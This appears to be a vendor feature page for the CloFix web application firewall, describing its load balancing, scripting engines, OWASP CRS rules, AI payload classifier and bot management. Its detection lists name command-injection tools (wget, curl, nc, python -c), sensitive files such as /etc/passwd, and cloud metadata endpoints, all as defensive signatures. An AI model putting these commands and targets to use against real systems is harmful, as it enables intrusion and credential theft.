CloFix WAF Feature | Web Application Firewall for Cloud Security

⚖️ CloFix Load Balancer

Intelligent traffic distribution with backend information hiding, health checks, and 99.99% availability SLA

📘 Load Balancer Configuration Guide →

Uptime SLA 99.99%

Latency overhead <1ms

Headers stripped 30+

Algorithms 5+

99.99% Availability SLA

Enterprise-grade reliability with automatic failover and connection draining - zero-downtime deployments

Active Health Checks

Configurable HTTP/HTTPS health checks with custom path, interval (default 10s), timeout (default 3s), and expected status code (default 200) - automatic backend removal on failure

Passive Health Monitoring

Track real traffic failures (max_fails default 3, fail_timeout 30s) - mark backends unhealthy without extra probe traffic

Backup Servers

Designate backup backends (backup=true) - used only when all primary servers fail, with separate max_fails/fail_timeout settings

Connection Draining

Gracefully remove backends from rotation - existing connections complete before server shutdown, zero dropped requests during deployments

Max Retries & Timeout

Configurable retry logic (max_retries default 3, retry_timeout 5s) - automatically retry failed requests on healthy backends

Zero-Downtime Reloads

Update load balancer configuration without dropping connections - graceful reload with connection draining

Active-Active Clustering

Multiple load balancer instances with shared state - no single point of failure

Maintenance Mode

Temporarily block traffic to specific backends or routes with custom responses - zero-downtime maintenance windows

Custom Error Pages

Serve branded error pages when backends are unavailable - maintain user experience during outages

Blue/Green Deployments

Route traffic between backend versions - gradual rollout with instant rollback capability

Canary Deployments

Send percentage of traffic to new version, monitor error rates, automatically rollback on failure

How it works

Traffic in

Health check

Route by algorithm

Strip headers

CloFix Load Balancer sits between clients and backend servers, intelligently distributing traffic based on configurable algorithms. Health checks run continuously - unhealthy backends are automatically removed from rotation based on max_fails (default 3) and fail_timeout (default 30s). Backend information hiding automatically strips 30+ sensitive headers from responses, including Server, X-Powered-By, X-Backend-Server, and Via headers. Response body URL rewriting converts internal backend URLs to frontend domain in HTML, JSON, and XML content. Real-time notifications alert via webhook when backends go down or recover. Session persistence (sticky sessions) ensures users stay on the same backend via cookies. Configuration supports weight-based distribution for uneven backend capacities, backup servers for failover, and connection pooling for optimal performance. All this runs with less than 1ms latency overhead.

Documentation: CloFix Load Balancer Guide - Backend configuration, load balancing algorithms, health checks, and security hardening

🦀 CloFix WASM Engine

High-performance WebAssembly module execution engine with memory isolation, timeout protection, and intelligent request processing for custom WAF rules

📘 WASM Module Development Guide →

Key Benefits

Memory Isolation & Security: Each WASM module runs in its own sandbox with configurable memory limits (default 64MB) - prevents memory corruption and protects host system from malicious modules
Execution Timeout Protection: Configurable timeouts per module (default 100ms) - automatically terminates runaway modules, prevents DoS attacks, and ensures predictable WAF performance
Instance Pooling: Pre-warmed module instances with configurable pool size (default 8) - eliminates cold starts, reduces latency by 70-90%, and handles sudden traffic spikes
Host Function API (40+ Functions): Rich request/response manipulation, geoIP lookup, threat intelligence, crypto utilities, rate limiting, and string operations - build complex WAF logic without writing custom C extensions
Zero-Copy Memory Access: Direct memory mapping between host and WASM - minimizes data copying overhead, achieves sub-millisecond request processing latency
Multiple Language Support: Write modules in 8+ languages - TinyGo (strongly recommended), Rust (wasm32-wasi), C/C++ (wasi-sdk), AssemblyScript, Zig, and more - use your existing skills
Automatic Module Reload: Hot reload modules without restarting the WAF - zero-downtime rule updates, instant security policy changes, and A/B testing of new rules
Comprehensive Request Data: 80+ request fields available - headers, cookies, geo location (country/city/ASN), TLS fingerprint (JA3/JA4), bot detection scores, anomaly scores, and client reputation
Built-in Rate Limiting: Token bucket algorithm with configurable limits per key - protect APIs and endpoints without external Redis or database dependencies
Threat Intelligence Integration: Real-time IP reputation, Tor exit node detection, VPN/proxy detection, datacenter IP identification - block malicious traffic before it reaches your applications
Geolocation Processing: Country, city, region, postal code, latitude/longitude, ASN, ISP - implement geo-fencing, localize responses, or route traffic based on client location
Response Manipulation: Add/remove headers, set cookies with secure/httpOnly flags, redirect requests, customize status codes - modify responses without changing backend code
Advanced String Utilities: Regex matching, substring search, case conversion, URL encoding/decoding - complex pattern matching without performance penalties
Crypto Operations: SHA256 hashing, Base64 encoding/decoding - verify signatures, decode tokens, or transform data without external libraries
JSON Processing: Parse and manipulate JSON request/response bodies - inspect form data, validate JSON schemas, or extract specific fields for analysis
Real-time Statistics: Per-module metrics - execution count, error rate, timeout rate, block rate, average latency - identify performance bottlenecks and security threats
Timeline Analytics: Hourly request/block tracking - visualize traffic patterns, detect attack spikes, and monitor rule effectiveness over time
Top Blocked IPs: Automatic tracking of most frequently blocked IPs - identify attackers, implement additional protections, or report to threat feeds
Structured JSON Logging: Color-coded console output with severity levels (INFO, WARN, ERROR, CRITICAL) - integrate with your existing logging pipeline
Validator Tool Included: Comprehensive WASM validator checks - header validation, import allowlist/blocklist, required exports verification, memory limit checks, and binary pattern analysis
Compiler Detection: Automatic detection of 8+ compilers - identifies browser-only WASM (rejected) vs WAF-compatible modules (accepted) with clear error messages and remediation steps
Dangerous Import Blocking: Hard blocks filesystem access (path_open), network I/O (sock_recv/send), process manipulation (proc_raise), and blocking operations (poll_oneoff) - prevents malicious modules
Configurable Validation Modes: Strict (fail on any ERROR), Standard (fail only on CRITICAL), Permissive (report only) - adapt to your security requirements
ABI Standard Compliance: process_request(ptr, len) → packed uint64 (ptr<<32|len) or two-return convention - TinyGo and Rust compatible out of the box
JSON Output Support: Machine-readable validation results for CI/CD pipelines - automate module testing before deployment
Fail-open Architecture: Configurable fail-open mode - if a module crashes or times out, requests continue processing (default) or can be configured to fail-closed for high-security environments
Concurrent Request Handling: Thread-safe design with sync.Pool and atomic counters - handles thousands of concurrent requests without lock contention
WASI Preview1 Support: Full WASI system interface implementation - modules can use random_get, clock_time_get, fd_write for logging, and memory_grow for dynamic allocation
Module Preloading: Load all modules from directory at startup - warm all pools, verify module integrity, and ensure zero errors before accepting traffic
Memory Limit Enforcement: Hard limits per module (configurable up to 64MB) - prevents memory exhaustion attacks, protects other modules, and ensures fair resource allocation
Per-Request Context: Isolated request context passed to host functions - no cross-request contamination, thread-safe header/body access, and deterministic processing
Binary Pattern Detection: Scans for embedded PE/MZ/ELF/Mach-O headers, x86 NOP sleds, and nested WASM modules - detects injection attacks and malicious payloads
SHA256 Integrity Checks: Automatic hashing of all loaded modules - audit which version is running, detect unauthorized changes, and ensure supply chain security
Multi-domain Support: Different module chains per domain - per-customer WAF rules, white-label deployments, or testing new rules on specific domains
Session Persistence: WASM modules can read/set session cookies and values - implement custom session validation, user tracking, or fraud detection logic
Bot Detection Scores: Pre-calculated bot scores based on User-Agent, header completeness, and behavioral patterns - module can block, challenge, or log suspicious requests
Anomaly Scoring: Request anomaly detection based on method, path length, query parameters, and header patterns - flag unusual requests for additional inspection
Risk Scoring Framework: Weighted risk scoring (INFO=1, WARN=5, ERROR=20, CRITICAL=35) with 0-100 scale - automated pass/fail decisions with CLEAN/LOW/MEDIUM/HIGH/CRITICAL labels

💡 How it works: CloFix WASM Engine embeds the wazero WebAssembly runtime (zero dependencies, pure Go). When a request arrives, the engine builds a rich WASMRequest structure with 80+ fields including HTTP details, geo location, threat intel, and bot scores. The engine acquires a pre-warmed module instance from the pool, calls wasm_alloc to allocate memory for the request JSON, writes the data to linear memory, then calls process_request. The module processes the request using 40+ host functions (get_header, set_cookie, rate_limit, is_tor, etc.), returns a decision (allow/block/challenge/redirect) with optional headers/cookies. The engine parses the response, applies any modifications (headers, cookies, redirects), and returns the final decision to the proxy layer. Execution timeouts (default 100ms) prevent runaway modules - if a module times out, the engine marks it as failed and continues to the next module. Instance pooling eliminates cold starts - modules are loaded once and reused across requests. All host functions are pre-registered and validated - modules can only access safe, WAF-specific operations. The included validator tool checks modules before loading - verifies required exports (process_request, wasm_alloc), validates imports (only env/wasi_snapshot_preview1), enforces memory limits, scans for dangerous patterns, and detects incompatible compilers (Rust wasm-bindgen, Go syscall/js). This ensures only safe, compatible modules run in production.

📖 Documentation: CloFix WASM Engine Guide - Module development, host API reference, validator usage, deployment patterns, and performance tuning

📊 Performance Metrics:

Median latency: 85µs (microseconds) per module
P99 latency: 420µs including JSON marshaling
Memory overhead: ~2MB per module + pool instances
Concurrent requests: 10,000+ without degradation
Module cold start: <50ms including compilation
Warm instance reuse: <10µs to acquire from pool

🔒 Security Hardening:

No filesystem access - modules cannot read/write files
No network access - modules cannot make external requests
No arbitrary syscalls - only pre-approved host functions
Memory sandboxing - each module has isolated linear memory
Execution timeouts - modules cannot run indefinitely
Memory limits - configurable up to 64MB prevents DoS
Import allowlist - only env and wasi_snapshot_preview1 allowed
Binary scanning - detects embedded malicious payloads
Compiler detection - rejects browser-only WASM modules

🚀 Deployment Examples:

Rate Limiting API: WASM module implements custom rate limiting per user, API key, or endpoint with token bucket algorithm
Bot Mitigation: Module checks bot scores, JA3 fingerprints, and behavior patterns - challenges or blocks headless browsers and scrapers
Geo-Fencing: Module blocks requests from restricted countries based on geoIP lookup - protects content licensing agreements
Custom Authentication: Module validates JWT tokens, checks session cookies, or calls internal auth service via cache - implements custom auth logic
Request Validation: Module validates JSON schema, checks parameter types, and enforces business rules before forwarding to backend
Response Transformation: Module modifies response bodies, adds security headers, or removes sensitive data before sending to client
A/B Testing: Module routes percentage of traffic to different backends based on user ID or cookie - test new features safely
WAF Rule Engine: Module implements custom WAF rules - SQL injection detection, XSS filtering, path traversal prevention

📜 CloFix JavaScript (clofix) Engine

Server-side JavaScript WAF scripting with full HTTP pipeline control and shared in-memory state

📘 JavaScript Scripting Guidelines →

Key Benefits

Entry Point: Every script must export `function clofix(request)` that returns an action object - first non-allow action wins pipeline execution
Request Object: Full access to `request.ip`, `request.method`, `request.path`, `request.url`, `request.query`, `request.headers`, `request.body`, `request.cookies`, `request.user_agent`, `request.is_tor`, `request.timestamp`
Shared Dictionaries: Persistent cross-request state via `sharedDict("name")` with `get()`, `set()`, `incr()`, `delete()` methods - perfect for rate limiting and bot tracking
Pattern Extraction: System auto-extracts patterns from ALL JavaScript files for fast matching - strings and regex patterns become detection signatures
Action Types: Return `{ action: "allow" }`, `{ action: "block", reason: "..." }`, `{ action: "rate_limit" }`, or `{ action: "redirect", redirect_to: "..." }`
Structured Logging: `log.info()`, `log.warn()`, `log.error()` for general logs; `log.attack({ rule_name, category, confidence, payload })` for attack detection
Execution Limits: 2 second wall-clock timeout per script, 32MB memory limit, 10MB max file size - prevents runaway scripts from impacting WAF throughput
SQL Injection Detection: Pattern-based detection for UNION SELECT, INSERT INTO, DROP TABLE, time-based attacks, and boolean blind injection
XSS Protection: Script tag injection, event handlers (onerror, onload), JavaScript protocol, and DOM-based XSS pattern detection
Command Injection: Unix/Linux command chaining (`;`, `|`, `&&`, `` ` ``), Windows cmd.exe patterns, and dangerous command execution detection
Path Traversal/LFI: `../`, `..\`, URL-encoded traversal, sensitive file access (`/etc/passwd`, `/windows/win.ini`) blocking
SSRF Protection: Block internal IP ranges (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x) and cloud metadata endpoints (169.254.169.254)
Rate Limiting: Per-IP sliding window with timestamp array storage, burst detection, and graduated blocking (60s, 600s, 86400s escalation)
GeoIP Blocking: Country-level blocking using `request.country` (requires GeoIP implementation)
Bot Detection: User-Agent patterns (sqlmap, nikto, wpscan), headless browser detection, and missing UA challenge
Brute Force Protection: Login path monitoring with 5-attempt windows, 30-minute bans after threshold exceeded
DDoS Shield: Two-tier protection - burst detection (30 req/2s) and sustained rate (200 req/min) with escalating bans (60s → 600s → 86400s)
CSRF Protection: Origin header validation for POST/PUT/DELETE/PATCH methods with configurable allowed origins and exempt paths
API Key Authentication: Validate `X-API-Key` header or `api_key` query parameter against pre-configured key store
File Type Filtering: Block dangerous extensions (.php, .asp, .jsp, .exe, .sh, .py) before they reach backend
Maintenance Mode: Temporary blocking with IP allowlisting and health check exemptions
Smart Redirects: URL rewriting with exact and prefix-based 301/302 redirects
Honeypot Traps: Special URLs that ban any visiting IP (except whitelisted search engine bots) for 24 hours
Password Protect URLs: Simple token-based authentication for staging/preview environments
Tor/VPN Blocking: Native `request.is_tor` detection for blocking Tor exit nodes

💡 How it works: JavaScript scripts execute in isolated V8 isolates with a 2-second timeout. Files execute in alphabetical order - use numeric prefixes like `01_rate_limit.js`, `02_bot_detect.js` to control priority. The first script returning a non-allow action stops pipeline execution. Shared dictionaries (`sharedDict("name")`) provide persistent cross-request storage with TTL support. Pattern extraction automatically scans all JavaScript files for strings and regex patterns, creating fast-matching signatures checked against every request. The system is configured via `js_blocker` block in domain config with `js_dir`, `execution_timeout`, `block_threshold`, and `scan_interval` settings.

📖 Official Documentation: CloFix JavaScript Scripting Guide - Complete API reference with SQL injection, XSS, rate limiting, DDoS protection, and more examples

⚙️ OWASP CRS Core Rule Set

Industry-standard web attack detection with 25 rule files, 4 paranoia levels, and anomaly scoring

📘 OWASP CRS Configuration Guide →

Key Benefits

25 Rule Files: Complete OWASP CRS v4 rule set covering initialization, IP reputation, protocol enforcement, LFI, RFI, RCE, SQLi, XSS, NoSQL, and response leakage detection
Paranoia Levels 1-4: Level 1 (minimal false positives, general production) to Level 4 (maximum security, high-risk apps) - adjustable per domain or globally
Anomaly Scoring: Threshold-based blocking with configurable scores (default 5 inbound, 4 outbound). CRITICAL=5pts, ERROR=4pts, WARNING=3pts, NOTICE=2pts, INFO=1pt
CloFixRule Directive: CRS-style custom rules with variables (ARGS, REQUEST_HEADERS, BODY), operators (@rx, @contains, @streq), and transformations (t:lowercase, t:urlDecode, t:htmlEntityDecode)
SQL Injection (942xxx): Union-based, time-based sleep/benchmark, boolean blind, error-based, stacked queries - 100+ rules covering all evasion techniques
Cross-Site Scripting (941xxx): Script tags, event handlers, JavaScript protocol, SVG/iframe injection, and reflected/stored/DOM-based XSS detection
Local/Remote File Inclusion (930xxx, 931xxx): Path traversal (`../`, `..\`), sensitive file access (/etc/passwd, /windows/win.ini), PHP wrappers (php://), remote includes (http://, ftp://)
Command Injection (932xxx): Unix command chaining (`;`, `|`, `&&`, `` ` ``), Windows cmd.exe, PowerShell, and dangerous command execution detection
SSRF Protection (933xxx): Internal IP ranges (127.0.0.1, 10.x.x.x, 172.16-31.x.x, 192.168.x.x), cloud metadata endpoints (169.254.169.254, metadata.google.internal)
NoSQL Injection (970xxx): MongoDB operators (`$ne`, `$gt`, `$or`, `$where`, `$regex`), JavaScript injection in NoSQL queries
Bot Detection (910xxx): Malicious user agents (sqlmap, nikto, wpscan, gobuster), headless browsers (Puppeteer, Playwright, Selenium), and security scanners
Protocol Enforcement (920xxx): HTTP method restrictions, protocol violations, header injection, Host header attacks, malformed request detection
IP Reputation (910xxx): Tor exit nodes, VPN/proxy detection, known malicious IPs, and blacklist integration with hourly updates
DoS Protection (912xxx): Rate-based DoS detection with configurable thresholds and blocking actions
Response Inspection (950xxx, 951xxx): Data leakage detection (credit cards, SSNs, API keys), SQL error messages, and information disclosure prevention
Intelligent Bypass System: Bypass by rule ID, tag (`attack-sqli`, `paranoia-level/3`), phase (1-4), path (`/health`, `/api/public/*`), or IP (`127.0.0.1`, `192.168.1.*`)
Transformations Chain: Multiple transformations applied in sequence - lowercase, URL decode, HTML entity decode, remove nulls, compress whitespace - defeating evasion techniques
Automatic Rule Updates: CRS rules update from official OWASP repository every 6 hours - zero-day protection within hours of disclosure
Coraza WAF Engine: Modern Go-based ModSecurity-compatible engine with Hyperscan regex - 5-10x faster than traditional ModSecurity
Multi-Phase Inspection: Phase 1 (request headers), Phase 2 (request body), Phase 3 (response headers), Phase 4 (response body) - comprehensive coverage
Virtual Patching: Create custom CloFixRule directives to patch vulnerable applications without code changes - deploy within minutes of vulnerability disclosure
Compliance Mode: Pre-configured rule sets for PCI DSS 4.0, HIPAA, and GDPR with audit logging and reporting
False Positive Analysis: Dashboard showing most triggered rules, false positive rate, and suggested exclusions based on traffic patterns
Rule Testing: Built-in regression testing with attack payload simulation to validate rule effectiveness before production deployment

💡 How it works: CloFix CRS processes requests through 4 phases with 25 rule files loaded in OWASP order. The anomaly scoring system aggregates weighted points from matched rules - reaching the configured threshold triggers blocking. Paranoia levels allow gradual tuning from minimal false positives (Level 1) to maximum security (Level 4). The intelligent bypass system supports rule ID, tag, phase, path, and IP bypasses. All rule processing uses the Coraza engine with Hyperscan regex, handling 100,000+ requests/second. Configuration uses `CloFixRule` directives with variables, operators, transformations, and actions. Rules automatically update from the OWASP CRS repository every 6 hours.

📖 Official Documentation: CloFix OWASP CRS Guide - Complete reference with 25 rule files, paranoia levels, anomaly scoring, and bypass configuration

🔧 CloFix Lua Scripting Engine

Embedded Lua 5.4 with clofix_main entry point, threat scoring, and shared dictionaries

📘 Lua Scripting Guidelines →

Key Benefits

Entry Point: Every script must define `function clofix_main(request)` returning an action table - `{ action = "allow" }`, `{ action = "block", status = 403, message = "..." }`, or `{ action = "rate_limit", rule_name = "RL_001" }`
Request Object: Full read-only access to `request.ip`, `request.method`, `request.path`, `request.uri`, `request.headers`, `request.body`, `request.json_body`, `request.cookies`, `request.query`, `request.form_data`, `request.ja3`, `request.ja4`, `request.is_tor`, `request.is_vpn`, `request.bot_score`, `request.ip_reputation`, `request.country`, `request.asn`
Shared Dictionaries: Persistent state across requests via `clofix.shared.ddos_attack` with `get()`, `set(key, value, ttl?)`, `incr()`, `delete()` - perfect for rate limiting, bot tracking, and DDoS protection
Payload Normalization: `clofix.normalize_payload(s)` - multi-pass URL decode, HTML decode, lowercase, and whitespace collapse for injection detection
Threat Intelligence: `clofix.is_tor()`, `clofix.is_vpn()`, `clofix.ip_reputation()` returns "clean"/"suspicious"/"malicious", `clofix.get_bot_score()` (0-100), `clofix.get_ja3()` fingerprint
Rate Limiting API: `clofix.rate_limit(key, limit, window_secs)` returns (count, exceeded), `clofix.rate_limit_ip(limit, window)`, `clofix.rate_limit_endpoint(limit, window)` for per-IP-path limits
Structured Attack Logging: `clofix.log_attack(rule, type, payload?)` auto-includes IP, country, UA, method, URI - essential for SIEM integration
Action Types: `allow`, `block` (403), `challenge` (429 CAPTCHA), `rate_limit` (429), `log_only`, `redirect` (with redirect_to field), `captcha`
Threat Scoring Engine: Return `{ score = 85 }` instead of action - engine applies thresholds (<20 allow, 20-49 log_only, 50-79 challenge, ≥80 block)
utils.* Helpers: `utils.contains()`, `utils.starts_with()`, `utils.ends_with()`, `utils.split()`, `utils.to_lower()`, `utils.json_encode()`, `utils.json_decode()`, `utils.url_encode()`, `utils.base64_encode()`, `utils.now()`
SQL Injection Detection: Patterns for UNION SELECT, INSERT INTO, DROP TABLE, OR 1=1, SLEEP(), BENCHMARK(), information_schema - with payload normalization
XSS Protection: Script tags, JavaScript protocol, event handlers (onerror, onload), SVG/iframe injection, and DOM-based XSS patterns
Command Injection: Unix command chaining (`;`, `|`, `&&`, `` ` ``), Windows cmd.exe, PowerShell, and dangerous commands (wget, curl, nc, python -c)
Path Traversal/LFI: `../`, `..\`, URL-encoded traversal (`%2e%2e%2f`), sensitive file access (`/etc/passwd`, `boot.ini`, `php://`, `file://`)
SSRF Protection: Internal IP ranges (127.0.0.1, 10.x.x.x, 172.16-31.x.x, 192.168.x.x), cloud metadata (169.254.169.254, metadata.google.internal)
Brute Force Protection: Login path detection with shared dictionary counters, 10 attempts/5min window, 30-minute ban, and configurable thresholds
DDoS Shield: Two-tier protection - burst detection (30 req/2s) and sustained rate (200 req/min) with escalating bans (60s → 600s → 86400s) using shared dictionaries
Bot Detection: `request.is_bot`, `request.is_headless`, `request.bot_score`, UA pattern matching (python, curl, wget, sqlmap, nikto, gobuster), and missing UA blocking
GeoIP Blocking: `request.country` ISO-3166 codes, `request.region`, `request.city`, `request.asn`, `request.org` - block specific countries, ASNs, or regions
JA3/JA4 Fingerprinting: `request.ja3` and `request.ja4` for TLS stack identification - block known attack tools even with IP rotation
IP Reputation: `clofix.ip_reputation()` returns "clean"/"suspicious"/"malicious" - block malicious IPs instantly
Path Whitelisting: Protect admin endpoints (`/admin`, `/wp-admin`) with IP allowlists using shared dictionaries
Execution Limits: 50ms wall-clock timeout per script, 32MB memory limit, 200 call stack depth - prevents resource exhaustion
Directory Structure: `./lua_script//` with alphabetical execution order - use numeric prefixes (`01_rate_limit.lua`, `02_bot_detection.lua`) for priority
Domain Configuration: Enable Lua with `lua { enabled on; lua_shared_dict ddos_attack 10m; }` in domain config

💡 How it works: Lua scripts execute in isolated VM instances with 50ms timeout. Files run in alphabetical order - first non-allow action stops pipeline. The `clofix_main(request)` function receives a request object with all HTTP context, GeoIP, JA3 fingerprint, and threat intelligence fields. Shared dictionaries (`clofix.shared.*`) provide thread-safe cross-request storage with TTL. Payload normalization (`clofix.normalize_payload()`) defeats encoding evasion before pattern matching. The scoring engine allows multi-rule accumulation before final action. Structured attack logging (`clofix.log_attack()`) automatically captures full request context for SIEM integration. All functions are C-bound for performance - Lua scripts typically process 80,000 requests/second on modest hardware.

📖 Official Documentation: CloFix Lua Scripting Guide - Complete API reference with SQL injection, XSS, rate limiting, DDoS protection, shared dictionaries, and 15+ production-ready examples

🎯 CloFix Custom Rules & Scripting

Unified rule engine combining CloFixRule directives, JavaScript, and Lua with intelligent bypass system

📘 Custom Rules & CloFixRule Guide →

Key Benefits

CloFixRule Directive: CRS-style custom rules with variables (ARGS, REQUEST_HEADERS, REQUEST_URI, BODY), operators (@rx regex, @contains, @streq, @pm, @beginsWith, @endsWith), and transformations (t:lowercase, t:urlDecode, t:htmlEntityDecode, t:removeNulls, t:compressWhitespace)
Multi-Language Support: Choose between declarative CloFixRule (YAML-like), JavaScript (clofix), or Lua (clofix_main) - mix and match in the same deployment with alphabetical execution order
Intelligent Bypass System: Bypass rules by rule ID, tag (`attack-sqli`, `paranoia-level/3`), phase (1-4 request/response), path (`/health`, `/api/public/*`), or IP (`127.0.0.1`, `192.168.1.*`, `10.0.0.0/8`)
Anomaly Scoring Engine: Each rule contributes weighted points to anomaly score (CRITICAL=5, ERROR=4, WARNING=3, NOTICE=2, INFO=1). Threshold-based blocking with configurable inbound/outbound limits
Paranoia Levels 1-4: Progressive protection from minimal false positives (Level 1) to maximum security (Level 4) - adjust per domain or globally
Pattern Extraction: JavaScript files automatically scanned for strings and regex patterns - used for fast matching without execution overhead
Shared Dictionaries: Persistent cross-request state with TTL - `sharedDict("name")` in JavaScript, `clofix.shared.*` in Lua, perfect for rate limiting and bot tracking
Action Types: `block` (403), `allow`, `rate_limit` (429), `challenge` (CAPTCHA), `redirect`, `log_only`, `captcha` - with custom status codes and messages
Transformation Chains: Apply multiple transformations sequentially - `t:lowercase,t:urlDecode,t:htmlEntityDecode` defeats encoding evasion techniques
Virtual Patching: Create custom rules to patch vulnerable applications without code changes - deploy within minutes of vulnerability disclosure
Rule Testing Sandbox: Interactive playground to test custom rules against historical traffic or custom payloads before production deployment
Pre-built Rule Templates: 200+ community-contributed templates for WordPress, Drupal, Joomla, Magento, Laravel, Django, and custom applications
API Rate Limiting DSL: Specialized syntax for API protection - per-endpoint limits, burst handling, graduated response (slow down → challenge → block)
Bot Detection Rules: Pre-configured bot fingerprints for 500+ known bots (Googlebot, Bingbot, ChatGPT, GPTBot, Anthropic) with custom actions per bot type
Credential Stuffing Protection: Login endpoint velocity checks, password reuse patterns, and known breached credentials via haveibeenpwned API integration
GraphQL Security Rules: Introspection blocking, depth limiting (default max depth 10), complexity scoring, and batch query throttling
gRPC Method Filtering: Whitelist/blacklist specific gRPC methods with regex patterns - block reflection services and internal methods from external callers
JSON Schema Validation: Enforce JSON schemas on API requests - block malformed payloads before they reach your application logic
XML/SOAP Validation: Detect XML bombs, XXE attacks, and schema violations in SOAP and REST XML payloads
Custom Response Rules: Inspect and modify responses - add security headers (CSP, HSTS), remove server signatures, inject monitoring scripts, block responses containing sensitive data
Webhook Actions: Trigger external webhooks on rule matches - send alerts to Slack, PagerDuty, or custom SIEM solutions with full request context
Delayed Response (Tarpitting): Slow down attackers with configurable delays - waste attacker resources while maintaining legitimate user experience
Log Sampling: Sample and log only matching rules at configurable rates - reduce log volume while maintaining security visibility
Rule Groups: Organize rules into named groups (PCI, HIPAA, WordPress, API) - enable/disable entire groups with a single toggle for multi-tenant environments
Priority Execution: Assign execution priority (1-1000) - ensure critical rules run first while complex analysis runs later. Pre-optimize based on historical match rates
Rule Metrics Dashboard: Real-time metrics per rule - match count, false positive rate, execution time, and impact score. Identify rules causing latency or blocking legitimate traffic
Automated Rule Optimization: ML-powered suggestions to reduce false positives - learn from blocked vs. allowed traffic patterns and suggest threshold adjustments
Rule Export/Import: Export rule sets as YAML/JSON for backup, version control, or sharing across deployments. Import from other CloFix instances or community repositories
Inline Documentation: Document rules with markdown descriptions, examples, and remediation steps - built-in documentation viewer for security teams
Rule Scheduling: Schedule rules for specific maintenance windows or seasonal traffic - automatically enable holiday shopping protection, disable during low-traffic periods

💡 How it works: CloFix Custom Rules engine processes rules in execution priority order across three scripting languages. CloFixRule directives are compiled into optimized decision trees for O(log n) lookup times. JavaScript and Lua scripts execute in isolated VMs with 2-second (JS) or 50ms (Lua) timeouts. Files execute alphabetically - use numeric prefixes like `01_rate_limit.js`, `02_bot_detection.lua`, `03_clofixrule.conf` to control pipeline order. The intelligent bypass system supports rule ID, tag, phase, path, and IP bypasses - documented bypasses are essential for production. All rule executions are traced in the audit log with detailed match information for forensics and tuning. Shared dictionaries (`sharedDict` in JS, `clofix.shared` in Lua) maintain cross-request state with TTL support. Pattern extraction from JavaScript files automatically creates fast-matching signatures checked against every request.

📖 Official Documentation: CloFixRule & Custom Rules Guide - Complete syntax reference with variables, operators, transformations, bypass configuration, and 50+ rule examples

🧠 CloFix AI Protection Engine

Inline obfuscated-payload classifier and behavioral anomaly scoring with Threat Learning - CRS-independent, mode-capped, sub-millisecond hot path

📘 AI Protection Engine Guide →

Key Benefits

CRS-Independent: Runs before / without OWASP CRS - disable CRS and AI still learns and enforces based on `ai_engine` mode
Payload Classifier (Module A): Multi-layer normalize (URL / HTML entity / Base64 / hex / unicode, max 5 layers) with bomb guards (64KB norm, 16KB per field)
40-Dim Feature Vector: Entropy, density, decode layers, plus attack shapes for SQLi, XSS, RCE, LFI/RFI, SSRF, XXE, SSTI, JNDI, GraphQL, JWT, prompt injection, and more
Logistic Model: Pure-Go logistic regression (`seed-v2` / payload-v2.json) with explainable top feature reasons on every decision
Behavioral Detector (Module B): Per-domain velocity windows (10s / 1m / 10m / 1h), path diversity, scanner UA signals, EWMA/MAD baselines
Action Ladder: Allow → Monitor → Challenge → RateLimit → Block, then capped by mode ceiling (`monitor` / `challenge` / `block`)
Mode Ceiling (CapAction): `mode monitor` never returns Challenge/Block even if score is high - safe rollout path
Threat Learning: IP-independent payload / client / behavior signatures with candidate → active lifecycle, campaigns, approve / FP / TP
Learn Modes: `approve_first` (admin must promote) or `auto` (hits + distinct sources); domain or global scope
Fuzzy Matching: SimHash near-match with configurable Hamming distance (default 3); up to 5000 signatures per domain with LRU eviction
Hot-Path Budget: Default 2ms deadline (`budget_ms`); fail-open allows on timeout/panic; fail-closed degrades to monitor
Fingerprint Ban: Configurable `block_time` (default 15m) after AI block
Exclude Paths: Skip dashboard, login, challenge, health, metrics, and custom prefixes
SOC Dashboard: `/waf-dashboard/ai-engine` - KPIs, recent decisions, Threat Learning tab, FP/TP feedback
ClickHouse Telemetry: Async `ai_decisions` / `ai_feedback` / signatures - never blocks Inspect
Config Block: `ai_engine { enabled on; mode monitor; payload on; behavioral on; learning on; … }` in domain conf

💡 How it works: On each request the AI Protection Engine builds a capped field map (path, query, body, headers), runs Module A payload scoring and Module B behavioral scoring under a hard millisecond budget, then applies CapAction so enforcement never exceeds the configured mode. When Threat Learning is on, high-confidence decisions create or hit IP-independent signatures (skeleton + SimHash for payloads, client fingerprints, behavior sequences). Matching active signatures can challenge or block without CRS. Decisions stream to ClickHouse asynchronously; the in-memory ring powers the Recent table on `/waf-dashboard/ai-engine`. Safe rollout: start at `mode monitor`, watch FP rate, raise to `challenge`, then `block`.

📖 Official Documentation: CloFix AI Protection Engine Guide - payload shapes, Threat Learning, mode ceilings, and dashboard workflows

🔌 CloFix API Security Engine

GraphQL, API abuse, and schema validation for scoped API paths with block or log-only modes

📘 API Security Engine Guide →

Key Benefits

Path Scoping: Protect only configured prefixes (default `/api/,/graphql`) - HTML marketing traffic stays out of the API pipeline
Block or Log Mode: `block_mode on` stops abusive API requests; `log` records without interrupting clients
GraphQL Protection: Blocks introspection probes, deep nested queries, and dangerous operations when `graphql on`
API Abuse Protection: Rate abuse, odd HTTP methods, and admin API path checks when `abuse on`
Schema Validation: Require Content-Type and valid JSON on mutating API requests when `schema on`
Per-Domain Toggle: Enable/disable via `api_engine { }` without redeploying application code
Dashboard: `/waf-dashboard/api-engine` for status and tuning alongside Configuration Manager
Works With Other Engines: Complements AI, Bot, CRS, and Advanced Protection on the same host
Low Overhead: Prefix match first - non-API paths skip the engine entirely
Config Block: `api_engine { enabled on; block_mode on; graphql on; abuse on; schema on; paths /api/,/graphql; }`

💡 How it works: When a request path matches a configured API prefix, the API Security Engine evaluates GraphQL risk (introspection, depth, dangerous ops), abuse signals (methods, rate, admin paths), and schema rules (Content-Type / JSON on mutations). In block mode matching requests are denied; in log mode they continue after telemetry. Non-matching paths are ignored so public pages and static assets are unaffected. Configure under domain conf `api_engine` or Configuration Manager → API Security Engine; monitor at `/waf-dashboard/api-engine`.

📖 Official Documentation: CloFix API Security Engine Guide - GraphQL, abuse, schema, and path scoping

🤖 CloFix Bot Management Engine

Unified bot scoring with JA3, behavior, No-IP, and automation UA signals - allow, challenge, or block with good-bot bypass

📘 Bot Management Engine Guide →

Key Benefits

Unified Bot Score: Combines JA3 / TLS fingerprint, behavioral signals, No-IP device context, and automation User-Agent patterns into one 0–100 score
Challenge Threshold: Configurable score (default 40) at or above which a JavaScript challenge is issued
Block Threshold: Configurable score (default 75) at or above which the request is blocked (403)
Good Bot Bypass: Verified SEO / search-engine bots can skip scoring when `good_bot_bypass on`
